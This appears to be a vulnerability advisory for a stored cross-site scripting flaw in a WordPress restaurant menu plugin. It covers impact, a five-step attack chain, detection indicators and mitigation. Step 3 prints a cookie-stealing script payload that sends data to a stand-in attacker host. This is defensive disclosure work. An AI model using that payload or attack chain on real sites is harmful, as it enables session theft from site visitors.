CVE-2025-58647: 
WordPress vulnerability analysis and mitigation

CVE-2025-58647 is a Stored Cross-Site Scripting (XSS) vulnerability in the Simple Restaurant Menu WordPress plugin by Will.I.am. It affects all versions from the initial release through version 1.2, and arises from improper neutralization of user-supplied input during web page generation (CWE-79). The vulnerability was published on September 22, 2025, with a CVSS v3.1 base score of 5.9 (Medium) (Red Hat CVE, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and specifically manifests as a Stored XSS flaw. An attacker with high privileges (e.g., an administrator or editor role) can inject malicious JavaScript into plugin-managed fields — such as menu item names, descriptions, or other restaurant menu content — which is then persistently stored and rendered unsanitized to site visitors. Exploitation requires network access, low attack complexity, and user interaction (a victim must view the affected page), and the scope is changed, meaning the injected script executes in the context of the victim's browser session rather than the attacker's (Red Hat CVE).

Successful exploitation allows a privileged attacker to persistently inject malicious scripts that execute in the browsers of users visiting affected pages, impacting confidentiality (e.g., session cookie theft), integrity (e.g., page content manipulation), and to a lesser extent availability. Because the scope is changed, the injected script can affect resources beyond the plugin's own context, potentially enabling session hijacking, credential phishing, or redirection to malicious sites for any visitor of the compromised WordPress site (Red Hat CVE).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-58647 as of the time of writing. The EPSS score is approximately 0.031%, indicating a low probability of exploitation in the near term. Exploitation requires high privileges on the WordPress installation, which limits the attack surface. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Simple Restaurant Menu plugin version ≤ 1.2 using tools like WPScan or by inspecting page source for plugin references.
2. Obtain privileged access: Authenticate to the WordPress admin panel using high-privilege credentials (administrator or editor role), obtained via credential stuffing, phishing, or other means.
3. Inject malicious payload: Navigate to the Simple Restaurant Menu plugin settings or menu item editor and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field such as a menu item name or description.
4. Persist the payload: Save the menu item, causing the malicious script to be stored in the WordPress database.
5. Trigger execution: When any site visitor (including administrators) views the page rendering the affected menu content, the stored script executes in their browser, enabling session cookie theft, credential harvesting, or further attacks (Red Hat CVE).

• Logs: WordPress access logs showing POST requests to plugin admin pages (e.g., /wp-admin/admin.php?page=simple-restaurant-menu) containing encoded script tags or JavaScript event handlers in request bodies.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror=, onload=) stored in the wp_posts or plugin-specific database tables associated with menu items.
• Network: Outbound requests from victim browsers to unfamiliar external domains shortly after visiting pages containing restaurant menu content, potentially indicating cookie exfiltration or redirects.
• File System: No direct file system artifacts expected for a stored XSS; however, review plugin files for unauthorized modifications if a full compromise is suspected.

Users should update the Simple Restaurant Menu plugin to a version beyond 1.2 if a patched release is available from the WordPress plugin repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also enforce the principle of least privilege, limiting the number of accounts with editor or administrator roles, and consider deploying a Web Application Firewall (WAF) with XSS filtering rules as a compensating control (Red Hat CVE).